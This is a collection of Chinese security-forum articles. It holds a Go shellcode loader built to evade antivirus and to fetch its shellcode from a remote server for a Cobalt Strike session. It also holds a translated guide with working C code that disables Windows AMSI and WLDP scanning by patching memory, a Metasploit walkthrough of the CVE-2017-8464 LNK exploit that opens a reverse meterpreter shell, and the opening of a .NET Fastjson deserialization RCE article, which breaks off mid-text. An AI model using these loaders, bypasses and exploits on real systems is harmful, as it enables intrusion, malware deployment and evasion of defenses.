这样子还是不行的，可以把shellcode变量拆分成几个变量再拼接，再加上参数执行，避免上传到杀软时直接执行，cs上线一堆...
package main
import (
"encoding/hex"
"syscall"
"unsafe"
"flag"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
code = "fc4883e4f0e8c8000000415141505"
code2 = "251564831d265488b5260488b5218488b5220488b725"
)
func main() {
code3 := "0480fb74a4a4d31c94831c0ac3c617c022c2..."
decode, _ := hex.DecodeString(code+code2+code3)
xor_shellcode := decode
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(xor_shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
//demo.exe -c run
var c string
args := flag.String("c", "宝宝巴士", "执行")
flag.Parse()
c = *args
if c == "run" {
_, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&xor_shellcode[0])), uintptr(len(xor_shellcode)))
syscall.Syscall(addr, 0, 0, 0, 0)
}
}
我这里使用的go build编译大小近2m，vt杀毒。
执行demo.exe -c run， cs上线
#### 远程加载shellcode
使用[resty](https://github.com/go-resty/resty)库，一个远程读取txt文本例子。
package main
import (
"fmt"
"github.com/go-resty/resty/v2"
)
func main() {
client := resty.New()
resp, _ := client.R().EnableTrace().Get("http://127.0.0.1/1.txt")
str := resp.Body()
body := string(str)
fmt.Println(body)
}
go build 编译后大小近7m。
使用go的net/http包，一个远程读取txt文本例子。
package main
import (
"fmt"
"io/ioutil"
"net/http"
)
func main() {
url := "http://127.0.0.1/1.txt"
resp, err := http.Get(url)
if err != nil {
fmt.Println(err)
}
defer resp.Body.Close()
respData, err := ioutil.ReadAll(resp.Body)
if err != nil {
fmt.Println(err)
}
respString := string(respData)
fmt.Println(respString)
}
go build 编译后大小近6m。
思路将16进制字符串的shellcode上传到服务器1.txt，加载器内使用net/http包远程加载shellcode。
package main
import (
"encoding/hex"
"flag"
"syscall"
"unsafe"
"io/ioutil"
"net/http"
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
url = "http://127.0.0.1/1.txt"
)
func main() {
resp, _ := http.Get(url)
defer resp.Body.Close()
respData, _ := ioutil.ReadAll(resp.Body)
respString := string(respData)
decode, _ := hex.DecodeString(respString)
shellcode2 := decode
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode2)), 0x1000|0x2000, 0x40)
_, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode2[0])), uintptr(len(shellcode2)))
//load.exe -c run
var c string
args := flag.String("c", "have", "fun")
flag.Parse()
c = *args
if c == "run" {
syscall.Syscall(addr, 0, 0, 0, 0)
}
}
go build编译后，vt杀毒测试
#### 总结
加密方便有待加强，使用Base64、凯撒密码等，伪动态加密shellcode，远程下载可以把文件分到几个文本上读取，也可也一半编码在加载器一半远程读取，最好的还是自己写加载器，不过需要二进制基础。
#### 参考
<https://www.nctry.com/2314.html>
<https://www.t00ls.cc/viewthread.php?tid=59723>
[https://www.t00ls.cc/viewthread.php?tid=59987&extra=&highlight=go&page=1](https://www.t00ls.cc/viewthread.php?tid=59987&extra=&highlight=go&page=1) | 社区文章 |
# 如何绕过AMSI及WLDP
##### 译文声明
本文是翻译文章，文章原作者 modexp，文章来源：modexp.wordpress.com
原文地址：<https://modexp.wordpress.com/2019/06/03/disable-amsi-wldp-dotnet/>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
.NET Framework在[v4.8](https://devblogs.microsoft.com/dotnet/announcing-the-net-framework-4-8/)版中使用[Antimalware Scan Interface
(AMSI)](https://docs.microsoft.com/en-us/windows/desktop/amsi/antimalware-scan-interface-portal)以及[Windows Lockdown Policy
(WLDP)](https://docs.microsoft.com/en-us/windows/desktop/devnotes/windows-lockdown-policy)机制来阻止攻击者从内存中运行潜在风险的软件。WLDP会验证动态代码的数字签名，而AMSI会扫描有害或者被管理员阻止运行的软件。本文介绍了红队用来绕过AMSI的3种常用方法，也介绍了能绕过WLDP的一种方法。这里介绍的绕过方法较为通用，不需要掌握关于AMSI或者WLDP的特殊知识点。在2019年6月之后这些方法可能没那么好好用。我们与[TheWover](https://twitter.com/TheRealWover)一起合作，共同研究关于AMSI及WLDP的相关技术。
## 0x01 已有研究成果
关于AMSI及WLDP之前已经有一些研究成果，如下表所示。如果大家还掌握更多资料，可以随时给我发邮件更新。
时间 | w文章
---|---
2016年5月 | [Bypassing Amsi using PowerShell 5 DLL
Hijacking](http://cn33liz.blogspot.com/2016/05/bypassing-amsi-using-powershell-5-dll.html) by [Cneelis](https://twitter.com/cneelis)
2017年7月 | [Bypassing AMSI via COM Server
Hijacking](https://enigma0x3.net/2017/07/19/bypassing-amsi-via-com-server-hijacking/) by [Matt Nelson](https://twitter.com/enigma0x3)
2017年7月 | [Bypassing Device Guard with .NET Assembly Compilation
Methods](http://www.exploit-monday.com/2017/07/bypassing-device-guard-with-dotnet-methods.html) by [Matt Graeber](https://twitter.com/mattifestation)
2018年2月 | [AMSI Bypass With a Null Character](http://standa-note.blogspot.com/2018/02/amsi-bypass-with-null-character.html) by [Satoshi
Tanda](https://twitter.com/standa_t)
2018年2月 | [AMSI Bypass: Patching Technique](https://www.cyberark.com/threat-research-blog/amsi-bypass-patching-technique/) by CyberArk (Avi Gimpel and
Zeev Ben Porat).
2018年2月 | [The Rise and Fall of
AMSI](https://i.blackhat.com/briefings/asia/2018/asia-18-Tal-Liberman-Documenting-the-Undocumented-The-Rise-and-Fall-of-AMSI.pdf) by [Tal
Liberman](https://twitter.com/Tal_Liberman) (Ensilo).
2018年5月 | [AMSI Bypass Redux](https://www.cyberark.com/threat-research-blog/amsi-bypass-redux/) by Avi Gimpel (CyberArk).
2018年6月 | [Exploring PowerShell AMSI and Logging
Evasion](https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/) by [Adam Chester](https://twitter.com/_xpn_)
2018年6月 | [Disabling AMSI in JScript with One Simple
Trick](https://tyranidslair.blogspot.com/2018/06/disabling-amsi-in-jscript-with-one.html) by [James Forshaw](https://twitter.com/tiraniddo)
2018年6月 | [Documenting and Attacking a Windows Defender Application Control
Feature the Hard Way](https://posts.specterops.io/documenting-and-attacking-a-windows-defender-application-control-feature-the-hard-way-a-case-73dd1e11be3a)
– A Case Study in Security Research Methodology by [Matt
Graeber](https://twitter.com/mattifestation)
2018年10月 | [How to bypass AMSI and execute ANY malicious Powershell
code](https://0x00-0x00.github.io/research/2018/10/28/How-to-bypass-AMSI-and-Execute-ANY-malicious-powershell-code.html) by [Andre
Marques](https://twitter.com/_zc00l)
2018年10月 | AmsiScanBuffer Bypass [Part
1](https://rastamouse.me/2018/10/amsiscanbuffer-bypass-part-1/), [Part
2](https://rastamouse.me/2018/10/amsiscanbuffer-bypass-part-2/), [Part
3](https://rastamouse.me/2018/11/amsiscanbuffer-bypass-part-3/), [Part
4](https://rastamouse.me/2018/12/amsiscanbuffer-bypass-part-4/) by [Rasta
Mouse](https://twitter.com/_RastaMouse)
2018年12月 | [PoC function to corrupt the g_amsiContext global variable in
clr.dll](https://gist.github.com/mattifestation/ef0132ba4ae3cc136914da32a88106b9)
by [Matt Graeber](https://twitter.com/mattifestation)
2019年4月 | [Bypassing AMSI for
VBA](https://outflank.nl/blog/2019/04/17/bypassing-amsi-for-vba/) by [Pieter
Ceelen](https://twitter.com/ptrpieter) (Outflank)
## 0x02 AMSI示例代码
在给定文件路径的情况下，如下代码可以打开该文件，将其映射到内存中然后使用AMSI来检测文件内容是否有害，或者是否被管理员所阻止：
typedef HRESULT (WINAPI *AmsiInitialize_t)(
LPCWSTR appName,
HAMSICONTEXT *amsiContext);
typedef HRESULT (WINAPI *AmsiScanBuffer_t)(
HAMSICONTEXT amsiContext,
PVOID buffer,
ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT *result);
typedef void (WINAPI *AmsiUninitialize_t)(
HAMSICONTEXT amsiContext);
BOOL IsMalware(const char *path) {
AmsiInitialize_t _AmsiInitialize;
AmsiScanBuffer_t _AmsiScanBuffer;
AmsiUninitialize_t _AmsiUninitialize;
HAMSICONTEXT ctx;
AMSI_RESULT res;
HMODULE amsi;
HANDLE file, map, mem;
HRESULT hr = -1;
DWORD size, high;
BOOL malware = FALSE;
// load amsi library
amsi = LoadLibrary("amsi");
// resolve functions
_AmsiInitialize =
(AmsiInitialize_t)
GetProcAddress(amsi, "AmsiInitialize");
_AmsiScanBuffer =
(AmsiScanBuffer_t)
GetProcAddress(amsi, "AmsiScanBuffer");
_AmsiUninitialize =
(AmsiUninitialize_t)
GetProcAddress(amsi, "AmsiUninitialize");
// return FALSE on failure
if(_AmsiInitialize == NULL ||
_AmsiScanBuffer == NULL ||
_AmsiUninitialize == NULL) {
printf("Unable to resolve AMSI functions.n");
return FALSE;
}
// open file for reading
file = CreateFile(
path, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, NULL);
if(file != INVALID_HANDLE_VALUE) {
// get size
size = GetFileSize(file, &high);
if(size != 0) {
// create mapping
map = CreateFileMapping(
file, NULL, PAGE_READONLY, 0, 0, 0);
if(map != NULL) {
// get pointer to memory
mem = MapViewOfFile(
map, FILE_MAP_READ, 0, 0, 0);
if(mem != NULL) {
// scan for malware
hr = _AmsiInitialize(L"AMSI Example", &ctx);
if(hr == S_OK) {
hr = _AmsiScanBuffer(ctx, mem, size, NULL, 0, &res);
if(hr == S_OK) {
malware = (AmsiResultIsMalware(res) ||
AmsiResultIsBlockedByAdmin(res));
}
_AmsiUninitialize(ctx);
}
UnmapViewOfFile(mem);
}
CloseHandle(map);
}
}
CloseHandle(file);
}
return malware;
}
扫描正常文件和[有害](https://github.com/GhostPack/SafetyKatz)文件的结果如下所示：
如果大家对AMSI的内部工作原理已经非常熟悉，可以直接跳到下文的绕过方法部分内容。
## 0x03 AMSI上下文
AMSI上下文结构是一个非公开的结构，但我们可以使用如下结构来解析返回的句柄。
typedef struct tagHAMSICONTEXT {
DWORD Signature; // "AMSI" or 0x49534D41
PWCHAR AppName; // set by AmsiInitialize
IAntimalware *Antimalware; // set by AmsiInitialize
DWORD SessionCount; // increased by AmsiOpenSession
} _HAMSICONTEXT, *_PHAMSICONTEXT;
## 0x04 AMSI初始化
在初始化函数参数中，`appName`指向的是用户定义的一个`unicode`字符串，而`amsiContext`指向的是`HAMSICONTEXT`类型的一个句柄。如果成功初始化AMSI上下文，该函数就会返回`S_OK`。如下代码并非完整版的初始化函数代码，但可以帮助我们理解AMSI的内部工作流程。
HRESULT _AmsiInitialize(LPCWSTR appName, HAMSICONTEXT *amsiContext) {
_HAMSICONTEXT *ctx;
HRESULT hr;
int nameLen;
IClassFactory *clsFactory = NULL;
// invalid arguments?
if(appName == NULL || amsiContext == NULL) {
return E_INVALIDARG;
}
// allocate memory for context
ctx = (_HAMSICONTEXT*)CoTaskMemAlloc(sizeof(_HAMSICONTEXT));
if(ctx == NULL) {
return E_OUTOFMEMORY;
}
// initialize to zero
ZeroMemory(ctx, sizeof(_HAMSICONTEXT));
// set the signature to "AMSI"
ctx->Signature = 0x49534D41;
// allocate memory for the appName and copy to buffer
nameLen = (lstrlen(appName) + 1) * sizeof(WCHAR);
ctx->AppName = (PWCHAR)CoTaskMemAlloc(nameLen);
if(ctx->AppName == NULL) {
hr = E_OUTOFMEMORY;
} else {
// set the app name
lstrcpy(ctx->AppName, appName);
// instantiate class factory
hr = DllGetClassObject(
CLSID_Antimalware,
IID_IClassFactory,
(LPVOID*)&clsFactory);
if(hr == S_OK) {
// instantiate Antimalware interface
hr = clsFactory->CreateInstance(
NULL,
IID_IAntimalware,
(LPVOID*)&ctx->Antimalware);
// free class factory
clsFactory->Release();
// save pointer to context
*amsiContext = ctx;
}
}
// if anything failed, free context
if(hr != S_OK) {
AmsiFreeContext(ctx);
}
return hr;
}
`HAMSICONTEXT`结构对应的内存在堆上分配，并且使用`appName`、AMSI对应的“签名”（即`0x49534D41`）和[`IAntimalware`](https://docs.microsoft.com/en-us/windows/desktop/api/amsi/nn-amsi-iantimalware)接口进行初始化。
## 0x05 AMSI扫描
我们可以通过如下代码，大致了解当该函数被调用时会执行哪些操作。如果扫描成功，返回结果为`S_OK`，我们需要检查[`AMSI_RESULT`](https://docs.microsoft.com/en-us/windows/desktop/api/amsi/ne-amsi-amsi_result)，判断`buffer`中是否包含不需要的软件。
HRESULT _AmsiScanBuffer(
HAMSICONTEXT amsiContext,
PVOID buffer,
ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT *result)
{
_HAMSICONTEXT *ctx = (_HAMSICONTEXT*)amsiContext;
// validate arguments
if(buffer == NULL ||
length == 0 ||
amsiResult == NULL ||
ctx == NULL ||
ctx->Signature != 0x49534D41 ||
ctx->AppName == NULL ||
ctx->Antimalware == NULL)
{
return E_INVALIDARG;
}
// scan buffer
return ctx->Antimalware->Scan(
ctx->Antimalware, // rcx = this
&CAmsiBufferStream, // rdx = IAmsiBufferStream interface
amsiResult, // r8 = AMSI_RESULT
NULL, // r9 = IAntimalwareProvider
amsiContext, // HAMSICONTEXT
CAmsiBufferStream,
buffer,
length,
contentName,
amsiSession);
}
注意观察上面对参数的验证过程，我们可以以此为基础，让`AmsiScanBuffer`失败，返回`E_INVALIDARG`。
## 0x06 AMSI的CLR实现
CLR使用了名为`AmsiScan`的一个私有函数来检测通过`Load`方法传递的软件是否为潜在风险软件。根据检测结果，系统可能会结束某个.NET进程的运行（但不一定是使用CLR托管接口的非托管（unmanaged）进程）。我们可以通过如下代码大致了解CLR如何实现AMSI。
AmsiScanBuffer_t _AmsiScanBuffer;
AmsiInitialize_t _AmsiInitialize;
HAMSICONTEXT *g_amsiContext;
VOID AmsiScan(PVOID buffer, ULONG length) {
HMODULE amsi;
HAMSICONTEXT *ctx;
HAMSI_RESULT amsiResult;
HRESULT hr;
// if global context not initialized
if(g_amsiContext == NULL) {
// load AMSI.dll
amsi = LoadLibraryEx(
L"amsi.dll",
NULL,
LOAD_LIBRARY_SEARCH_SYSTEM32);
if(amsi != NULL) {
// resolve address of init function
_AmsiInitialize =
(AmsiInitialize_t)GetProcAddress(amsi, "AmsiInitialize");
// resolve address of scanning function
_AmsiScanBuffer =
(AmsiScanBuffer_t)GetProcAddress(amsi, "AmsiScanBuffer");
// failed to resolve either? exit scan
if(_AmsiInitialize == NULL ||
_AmsiScanBuffer == NULL) return;
hr = _AmsiInitialize(L"DotNet", &ctx);
if(hr == S_OK) {
// update global variable
g_amsiContext = ctx;
}
}
}
if(g_amsiContext != NULL) {
// scan buffer
hr = _AmsiScanBuffer(
g_amsiContext,
buffer,
length,
0,
0,
&amsiResult);
if(hr == S_OK) {
// if malware was detected or it's blocked by admin
if(AmsiResultIsMalware(amsiResult) ||
AmsiResultIsBlockedByAdmin(amsiResult))
{
// "Operation did not complete successfully because "
// "the file contains a virus or potentially unwanted"
// software.
GetHRMsg(ERROR_VIRUS_INFECTED, &error_string, 0);
ThrowHR(COR_E_BADIMAGEFORMAT, &error_string);
}
}
}
}
CLR使用了名为`g_amsiContext`的一个全局变量，该变量指向的是由`AmsiInitialize`创建的AMSI上下文（当首次使用`AmsiScan`时）。如果`AMSI`上下文结构被破坏，`AmsiScan`并不会抛出任何错误，这是否是个问题值得商榷。如果`AmsiScanBuffer`返回`S_OK`，只有此时才会检查`amsiResult`。如果`buffer`中包含恶意代码，就会使用`COR_E_BADIMAGEFORMAT`以及`ERROR_VIRUS_INFECTED`错误信息来调用`ThrowHR`。然而，如果向`AmsiScanBuffer`传递了格式错误的上下文，那么该函数就会返回`E_INVALIDARG`，并且`buffer`中的内容永远不会被检查。此外，`AmsiScan`并不会去调查为什么`AmsiScanBuffer`会出现错误。这里应该问一个问题：“如果系统支持AMSI且调用失败了，背后的原因到底是什么？”
## 0x07 AMSI绕过：Patch数据
Matt
Graeber提供了一个PoC，可以破坏`CLR!g_amsiContext`所指向的上下文，这样将导致`AmsiScanBuffer`返回`E_INVALIDARG`。从CLR的实现代码中可知，由于系统永远不会验证`CLR!AmsiScan`的结果是否成功或者失败，因此这种方法行之有效。我们认为系统会简单抛出一个错误，终止尝试加载恶意软件的宿主应用，然而，托管.NET程序集的非托管应用可能会处理任何C++异常。Windows
Defender仍然会记录检测到有害代码的行为，但非托管宿主应用在某些情况下仍然可以继续运行。为了通过`g_amsiContext`禁用AMSI，我们可以搜索`PEB.ProcessHeap`所指向的堆内存，或者搜索`.data`段虚拟地址空间中找到的每个指针。后一种方法可以参考如下代码，只有当CLR调用`AmsiScan`后这种方法才有效。
BOOL DisableAMSI(VOID) {
LPVOID hCLR;
BOOL disabled = FALSE;
PIMAGE_DOS_HEADER dos;
PIMAGE_NT_HEADERS nt;
PIMAGE_SECTION_HEADER sh;
DWORD i, j, res;
PBYTE ds;
MEMORY_BASIC_INFORMATION mbi;
_PHAMSICONTEXT ctx;
hCLR = GetModuleHandleA("CLR");
if(hCLR != NULL) {
dos = (PIMAGE_DOS_HEADER)hCLR;
nt = RVA2VA(PIMAGE_NT_HEADERS, hCLR, dos->e_lfanew);
sh = (PIMAGE_SECTION_HEADER)((LPBYTE)&nt->OptionalHeader +
nt->FileHeader.SizeOfOptionalHeader);
// scan all writeable segments while disabled == FALSE
for(i = 0;
i < nt->FileHeader.NumberOfSections && !disabled;
i++)
{
// if this section is writeable, assume it's data
if (sh[i].Characteristics & IMAGE_SCN_MEM_WRITE) {
// scan section for pointers to the heap
ds = RVA2VA (PBYTE, hCLR, sh[i].VirtualAddress);
for(j = 0;
j < sh[i].Misc.VirtualSize - sizeof(ULONG_PTR);
j += sizeof(ULONG_PTR))
{
// get pointer
ULONG_PTR ptr = *(ULONG_PTR*)&ds[j];
// query if the pointer
res = VirtualQuery((LPVOID)ptr, &mbi, sizeof(mbi));
if(res != sizeof(mbi)) continue;
// if it's a pointer to heap or stack
if ((mbi.State == MEM_COMMIT ) &&
(mbi.Type == MEM_PRIVATE ) &&
(mbi.Protect == PAGE_READWRITE))
{
ctx = (_PHAMSICONTEXT)ptr;
// check if it contains the signature
if(ctx->Signature == 0x49534D41) {
// corrupt it
ctx->Signature++;
disabled = TRUE;
break;
}
}
}
}
}
}
return disabled;
}
## 0x08 AMSI绕过：Patch代码（1）
CyberArk建议通过两条指令（ `xor edi, edi, nop`）来patch
`AmsiScanBuffer`。如果我们想hook该函数，那么在跳转到其他函数之前，可以使用LDE（Length Disassembler
Engine）来计算待保存的prolog字节数。由于该函数会验证传递进来的的AMSI上下文参数，并且要求Signature值为“AMSI”，因此我们可以定位这个值，简单将其更改为其他值即可。与Matt
Graeber破坏上下文/数据的方法不同，在如下代码中我们会破坏这个特征值来绕过AMSI。
BOOL DisableAMSI(VOID) {
HMODULE dll;
PBYTE cs;
DWORD i, op, t;
BOOL disabled = FALSE;
_PHAMSICONTEXT ctx;
// load AMSI library
dll = LoadLibraryExA(
"amsi", NULL,
LOAD_LIBRARY_SEARCH_SYSTEM32);
if(dll == NULL) {
return FALSE;
}
// resolve address of function to patch
cs = (PBYTE)GetProcAddress(dll, "AmsiScanBuffer");
// scan for signature
for(i=0;;i++) {
ctx = (_PHAMSICONTEXT)&cs[i];
// is it "AMSI"?
if(ctx->Signature == 0x49534D41) {
// set page protection for write access
VirtualProtect(cs, sizeof(ULONG_PTR),
PAGE_EXECUTE_READWRITE, &op);
// change signature
ctx->Signature++;
// set page back to original protection
VirtualProtect(cs, sizeof(ULONG_PTR), op, &t);
disabled = TRUE;
break;
}
}
return disabled;
}
## 0x09 AMSI绕过：Patch代码（2）
Tal
Liberman的建议是覆盖`AmsiScanBuffer`的prolog字节，使该函数返回1。如下代码会覆盖该函数，使得当CLR扫描任何缓冲区时，该函数都会返回`AMSI_RESULT_CLEAN`以及`S_OK`。
// fake function that always returns S_OK and AMSI_RESULT_CLEAN
static HRESULT AmsiScanBufferStub(
HAMSICONTEXT amsiContext,
PVOID buffer,
ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT *result)
{
*result = AMSI_RESULT_CLEAN;
return S_OK;
}
static VOID AmsiScanBufferStubEnd(VOID) {}
BOOL DisableAMSI(VOID) {
BOOL disabled = FALSE;
HMODULE amsi;
DWORD len, op, t;
LPVOID cs;
// load amsi
amsi = LoadLibrary("amsi");
if(amsi != NULL) {
// resolve address of function to patch
cs = GetProcAddress(amsi, "AmsiScanBuffer");
if(cs != NULL) {
// calculate length of stub
len = (ULONG_PTR)AmsiScanBufferStubEnd - (ULONG_PTR)AmsiScanBufferStub;
// make the memory writeable
if(VirtualProtect(
cs, len, PAGE_EXECUTE_READWRITE, &op))
{
// over write with code stub
memcpy(cs, &AmsiScanBufferStub, len);
disabled = TRUE;
// set back to original protection
VirtualProtect(cs, len, op, &t);
}
}
}
return disabled;
}
patch之后，恶意软件会被标记为安全软件，如下图所示：
## 0x0A WLDP示例代码
如下函数演示了如何使用WLDP（Windows Lockdown Policy）来查询内存中的动态代码是否可信。
BOOL VerifyCodeTrust(const char *path) {
WldpQueryDynamicCodeTrust_t _WldpQueryDynamicCodeTrust;
HMODULE wldp;
HANDLE file, map, mem;
HRESULT hr = -1;
DWORD low, high;
// load wldp
wldp = LoadLibrary("wldp");
_WldpQueryDynamicCodeTrust =
(WldpQueryDynamicCodeTrust_t)
GetProcAddress(wldp, "WldpQueryDynamicCodeTrust");
// return FALSE on failure
if(_WldpQueryDynamicCodeTrust == NULL) {
printf("Unable to resolve address for WLDP.dll!WldpQueryDynamicCodeTrust.n");
return FALSE;
}
// open file reading
file = CreateFile(
path, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, NULL);
if(file != INVALID_HANDLE_VALUE) {
// get size
low = GetFileSize(file, &high);
if(low != 0) {
// create mapping
map = CreateFileMapping(file, NULL, PAGE_READONLY, 0, 0, 0);
if(map != NULL) {
// get pointer to memory
mem = MapViewOfFile(map, FILE_MAP_READ, 0, 0, 0);
if(mem != NULL) {
// verify signature
hr = _WldpQueryDynamicCodeTrust(0, mem, low);
UnmapViewOfFile(mem);
}
CloseHandle(map);
}
}
CloseHandle(file);
}
return hr == S_OK;
}
## 0x0B WLDP绕过：Patch代码
我们可以使用桩（stub）代码来覆盖该函数，始终返回`S_OK`。
// fake function that always returns S_OK
static HRESULT WINAPI WldpQueryDynamicCodeTrustStub(
HANDLE fileHandle,
PVOID baseImage,
ULONG ImageSize)
{
return S_OK;
}
static VOID WldpQueryDynamicCodeTrustStubEnd(VOID) {}
static BOOL PatchWldp(VOID) {
BOOL patched = FALSE;
HMODULE wldp;
DWORD len, op, t;
LPVOID cs;
// load wldp
wldp = LoadLibrary("wldp");
if(wldp != NULL) {
// resolve address of function to patch
cs = GetProcAddress(wldp, "WldpQueryDynamicCodeTrust");
if(cs != NULL) {
// calculate length of stub
len = (ULONG_PTR)WldpQueryDynamicCodeTrustStubEnd - (ULONG_PTR)WldpQueryDynamicCodeTrustStub;
// make the memory writeable
if(VirtualProtect(
cs, len, PAGE_EXECUTE_READWRITE, &op))
{
// over write with stub
memcpy(cs, &WldpQueryDynamicCodeTrustStub, len);
patched = TRUE;
// set back to original protection
VirtualProtect(cs, len, op, &t);
}
}
}
return patched;
}
虽然本文介绍的方法检测起来非常容易，但对于Windows 10上最新版的DotNet Framework来说依然有效。只要我们还可以patch
AMSI用来检测有害代码的数据或者代码，那么绕过AMSI的方法就一直都会存在。 | 社区文章 |
### **0x01 前言**
RCE漏洞存在于Windows处理LNK文件的环节。攻击者利用漏洞可以获得与本地用户相同的用户权限。被使用此漏洞攻击时，用户权限较少的账户相较管理员权限的用户受到的影响更小。
攻击者可以给受害者一个恶意的LNK 文件和关联的恶意二进制，文件可以存放在可移动磁盘或远程共享中。当用户用 Windows
资源管理器或任何其他能够解析LNK文件的软件，打开此驱动器 （或远程共享） 时，恶意文件就会在目标系统上执行攻击者的代码。
### **0x02 漏洞环境搭建与利用**
**漏洞环境搭建：**
kalix86 192.168.1.109 攻击机
windows7x64 192.168.1.101 目标靶机
**漏洞利用：**
1.kali主机下载cve_2017_8464_lnk_rce.rb：
cd /opt
wget <https://raw.githubusercontent.com/ykoster/metasploit-framework/169e00bf3442447324df064192db62cdc5b5b860/modules/exploits/windows/fileformat/cve_2017_8464_lnk_rce.rb>
[
2.将cve_2017_8464_lnk_rce.rb拷贝到
/usr/share/metasploit-framework/modules/exploit/windows/smb/目录下：
cp cve_2017_8464_lnk_rce.rb /usr/share/metasploit-framework/modules/exploits/windows/smb/
[
3.生成监听shell:
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.109
msf exploit(handler) > exploit -j
[
4生成大量的.LNK文件（对应盘符从D盘到Z盘）和要加载的.dll文件（后门文件,
copy了一个lnk文件（根据插入靶机U盘后识别的盘符，例如我插入U盘后显示的E盘，所以就选择了E结尾的lnk文件）和dll文件到U盘)
msf exploit(handler) > back
msf > use exploit/windows/smb/cve_2017_8464_lnk_rce
msf exploit(cve_2017_8464_lnk_rce) > set PAYLOAD
windows/x64/meterpreter/reverse_tcp
msf exploit(cve_2017_8464_lnk_rce) > set LHOST 192.168.1.109
msf exploit(cve_2017_8464_lnk_rce) > exploit
[
5.将/root/.msf4/local/*所有文件拷贝到/opt目录下的test文件夹中，然后拷贝到目标靶机windows10X64上
root@backlion:~# cd /opt
root@backlion:/opt# mkdir test
root@backlion:/opt# cp /root/.msf4/local/* test/
root@backlion:/opt# cd test/
root@backlion:/opt/test# ls
[
拷贝的本机win7x64上：
[
6.然后点击快捷键，就会触发注册dll文件，如果不行直接注册dll文件（一般是将这项快捷键和DLL文件拷贝到一个文件夹里面然后拷贝到U盘，只要对方开了U盘自动启动播放功能，就会自动触发注册dll文件）
[
7.在kali下可以看到成功获得sesions会话为1
sessions -i 1
[
8.然后进入到会话，就会成功进入到metermter的shell界面：
[
### **0x03漏洞影响与修复**
**漏洞影响：**
Windows 10
Windows 7
Windows 8.1
Windows RT 8.1
Windows Server 2008
Windows Server 2008 R2
Windows Server 2012
Windows Server 2012 R2
Windows Server 2016
**漏洞修复：**
下载补丁，其地址为：
<https://support.microsoft.com/zh-cn/help/4025686/microsoft-security-advisory-4025685-guidance-for-supported-platforms> | 社区文章 |
# .NET高级代码审计（第三课）Fastjson反序列化漏洞
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：Ivan1ee@360云影实验室
## 0X00 前言
Java中的Fastjson曾经爆出了多个反序列化漏洞和Bypass版本，而在.Net领域也有一个Fastjson的库，作者官宣这是一个读写Json效率最高的的.Net
组件，使用内置方法JSON.ToJSON可以快速序列化.Net对象。让你轻松实现.Net中所有类型(对象,基本数据类型等)和Json之间的转换，fastjson是一个开源的Json.Net库，下载地址
<http://www.codeproject.com/Articles/159450/fastJSON>，反序列过程中详细的性能对比如下
从图上得出和老牌Json.Net、Stack等比起来速度和性能优势非常明显，究其原因组件的作者利用反射生成了大量的IL代码，而IL代码是托管代码，可以直接给运行库编译所以性能就此大大提升。但在某些场景下开发者使用JSON.ToObject方法序列化不安全的数据时候会造成反序列化漏洞从而实现远程RCE攻击，本文笔者从原理和代码审计的视角做了相关介绍和复现。
## 0X01 Fastjson序列化
使用JSON.ToJSON可以非常方便的实现.NET对象与Json数据之间的转化，ToJSON首先会得到对象名称所在的程序集全限定名，并且作为$types这个key的值，再将对象的成员属性名转化为Json数据中的Key，把对象的成员属性值转化为Json数据中的value，下面通过一个实例来说明问题，首先定义TestClass对象
定义了三个成员，并实现了一个静态方法ClassMethod启动进程。 序列化通过创建对象实例分别给成员赋值
笔者为了尽量保证序列化过程不抛出异常，所以引入了
JSON.ToJSON方法的第二个参数并实例化创建JSONParameters，它的字段中有很多类型是布尔值，
和反序列化漏洞相关的字段为UseExtensions
，将它设置为true可得到类的全限定名，如果不需要序列化空值的时可将另一个字段SerializeNullValues设为false;
笔者使用JSON.ToJSON后得到序列化的Json数据
{"$types":{"WpfApp1.TestClass, WpfApp1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null":"1"},"$type":"1","Classname":"360","Name":"Ivan1ee","Age":18}
## 0x02 Fastjson反序列化
### 2.1、反序列化用法
反序列过程就是将Json数据转换为对象，Fastjson通过创建一个新对象的方式调用JSON.
ToObject方法实现的，ToObject有多个重载方法，当传入两个参数，第一个参数需要被序列化的数据、第二个参数设置序列化配置选项来指定JSONParameters按照指定的属性值处理，重载方法参考下图
具体代码可参考以下Demo
### 2.2、打造Poc
漏洞的触发点也是在于被序列化的Json中的$types是否可控，为此官方文档里也标注了警告。
笔者继续选择ObjectDataProvider类方便调用任意被引用类中的方法，具体有关此类的用法可以看一下《.NET高级代码审计（第一课）
XmlSerializer反序列化漏洞》，因为Process.Start方法启动一个线程需要配置ProcessStartInfo类相关的属性，例如指定文件名、指定启动参数，所以首先得考虑序列化ProcessStartInfo，如下代码Demo
